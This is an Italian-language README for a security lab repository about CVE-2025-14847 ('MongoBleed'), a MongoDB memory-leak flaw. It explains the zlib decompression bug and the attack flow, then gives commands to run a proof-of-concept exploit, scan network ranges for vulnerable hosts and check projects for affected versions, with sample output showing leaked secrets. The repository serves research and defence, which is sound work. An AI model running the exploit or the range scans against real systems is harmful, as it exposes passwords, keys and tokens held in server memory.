🩸 MongoBleed - CVE-2025-14847 Laboratorio di Ricerca sulla Sicurezza
CVE-2025-14847 | CVSS 8.7 (Alta) | Divulgazione di Memoria Non Autenticata
📖 Documentazione Completa •
🔬 Analisi Tecnica •
⚡ Comandi Rapidi
🎯 Riepilogo CVE-2025-14847
MongoBleed è una vulnerabilità critica di divulgazione della memoria nel livello di trasporto di rete di MongoDB che consente ad attaccanti remoti non autenticati di esfiltrare memoria heap sensibile senza credenziali o interazione con l'utente.
Impatto
| Categoria | Descrizione |
|---|
| Tipo di attacco | Divulgazione di memoria remota non autenticata |
| Causa principale | La decompressione Zlib restituisce la dimensione del buffer allocato invece della lunghezza effettiva dei dati |
| Dati esposti | Password di database, chiavi API, token di sessione, credenziali AWS, stato interno del server |
| Gravità | CVSS 8.7 (Alta) - Accessibile in rete, nessuna autenticazione richiesta |
| Sfruttamento | Sfruttamento attivo osservato in natura dal 28 dicembre 2025 |
Versioni Vulnerabili (A Colpo d'Occchio)
📖 Vedi Tabella Completa delle Versioni Affette →
Scala di Esposizione
- 87.000 - 194.000 istanze MongoDB esposte pubblicamente
- 42% degli ambienti cloud ospita istanze vulnerabili (Wiz Research)
- Nessuna autenticazione richiesta - l'attacco avviene prima dell'autenticazione
- Sfruttamento silenzioso - nessun log, nessun crash
TL;DR per Team di Ingegneria
🔬 Anatomia della Vulnerabilità
Analisi Tecnica
La vulnerabilità risiede nel livello di trasporto di rete di MongoDB (message_compressor_zlib.cpp) dove un difetto critico nella logica di decompressione zlib consente ad attaccanti non autenticati di far trapelare memoria sensibile del server.
Causa Principale
// CODICE VULNERABILE (prima della correzione)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Restituisce la dimensione del buffer ALLOCATO
// CODICE CORRETTO (dopo la correzione)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Restituisce la lunghezza effettiva dei dati decompressi
Flusso di Sfruttamento
┌─────────────────────────────────────────────────────────────────────────────┐
│ Vettore di Attacco MongoBleed │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACCANTE MONGODB VULNERABILE │
│ │ │ │
│ │ 1. Invia messaggio OP_COMPRESSED │ │
│ │ uncompressedSize: 8192 (BUFALA)│ │
│ │ dati effettivi: ~100 byte │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Alloca buffer da 8192 byte │
│ │ 3. Decomprime ~100 byte │
│ │ 4. BUG: Restituisce buffer.length() = 8192 │
│ │ 5. Il parser BSON legge memoria non iniz. │
│ │ │ │
│ │ 6. Risposta di errore con memoria │ │
│ │ trapelata come "nomi campo" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 DATI TRAPELATI: │ │
│ - Chiavi API, password, token │
│ - Stato interno MongoDB │
│ - Configurazioni WiredTiger │
│ - Informazioni /proc del sistema │
│ - Dati sulle connessioni client │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Cronologia della Scoperta
| Data | Evento |
|---|
| 15 Dic 2025 | Vulnerabilità identificata; ticket interno SERVER-115508 |
| 19 Dic 2025 |
🔬 Vedi Analisi Tecnica → per l'anatomia dettagliata della vulnerabilità, la costruzione dello sfruttamento e i metodi di rilevamento.
📁 Struttura del Progetto
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Laboratorio Exploit
│ ├── docker-compose.yml # Istanze MongoDB vulnerabili + corrette
│ ├── mongobleed.py # PoC exploit per perdita di memoria
│ ├── init/init-mongo.js # Dati di test sensibili
│ ├── test-exploit.sh # Script test lab
│ └── README.md # Documentazione lab
│
├── scanner/ # 🌐 Scanner di Rete
│ ├── mongobleed_scanner.py # Scanner vulnerabilità IP/dominio
│ ├── sample-targets.txt # File bersagli di esempio
│ └── README.md # Documentazione scanner
│
├── code-scan/ # 📂 Scanner di Codice
│ ├── main.py # Punto di ingresso CLI
│ ├── scanners/ # Scanner Docker, Python, Infrastruttura
│ ├── models/ # Modelli Finding, Vulnerability
│ ├── integrations/ # Upload Phoenix Security
│ └── README.md # Documentazione scanner codice
│
└── original-exploit/ # 📚 Riferimento PoC originale
🚀 Avvio Rapido
1. Laboratorio Exploit
cd exploit
# Avvia laboratorio (istanze vulnerabile + corretta)
docker-compose up -d
sleep 10
# Testa istanza vulnerabile (dovrebbe far trapelare memoria)
python3 mongobleed.py --host localhost --port 27017
# Testa istanza corretta (NON dovrebbe far trapelare memoria)
python3 mongobleed.py --host localhost --port 27018
# Test completo del laboratorio
./test-exploit.sh
2. Scanner di Rete
cd scanner
# Scansiona singolo host
python3 mongobleed_scanner.py 192.168.1.100
# Scansiona intervallo di rete
python3 mongobleed_scanner.py 192.168.1.0/24
# Scansiona da file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Scanner di Codice
cd code-scan
# Scansiona progetto per versioni MongoDB vulnerabili
python3 main.py scan /path/to/project
# Scansiona e carica su Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Esegui test
python3 main.py test
⚡ Comandi Rapidi
# === LABORATORIO EXPLOIT ===
# Avvia laboratorio
cd exploit && docker-compose up -d && sleep 10
# Esegui exploit (istanza vulnerabile)
python3 exploit/mongobleed.py --host localhost --port 27017
# Esegui exploit (istanza corretta - verifica nessuna perdita)
python3 exploit/mongobleed.py --host localhost --port 27018
# === SCANNER DI RETE ===
# Scansiona laboratorio locale
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scansiona rete
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === SCANNER DI CODICE ===
# Scansiona directory corrente
python3 code-scan/main.py scan .
# Scansiona con output JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scansiona e carica su Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Esempi di Output
Output Exploit
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
Output Scanner di Rete
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
Output Scanner di Codice
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
🛡️ Riepilogo Rimedio
📖 Vedi Guida Completa al Rimedio →
🔗 Integrazione Phoenix Security
Tutti gli scanner supportano il caricamento dei risultati sulla piattaforma Phoenix Security:
# Crea configurazione
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Modifica con le tue credenziali
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scansiona e carica
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Avviso di Sicurezza
⚠️ IMPORTANTE: Questo kit è fornito solo per scopi autorizzati di test di sicurezza e ricerca.
- Testare solo sistemi di cui si è proprietari o per cui si ha esplicita autorizzazione scritta
- L'accesso non autorizzato ai sistemi informatici è illegale
- I dati trapelati possono contenere informazioni sensibili - gestire con responsabilità
- Segnalare le vulnerabilità attraverso i canali di divulgazione appropriati
📚 Documentazione
Documentazione Principale
Documentazione degli Strumenti
🔗 Riferimenti Esterni
👤 Crediti
- Exploit originale di Joe Desimone (@dez_)
- Ambiente di laboratorio e miglioramenti dello scanner per la ricerca sulla sicurezza
📄 Licenza
Solo per test di sicurezza autorizzati. Usare con responsabilità.
Ultimo Aggiornamento: Dicembre 2025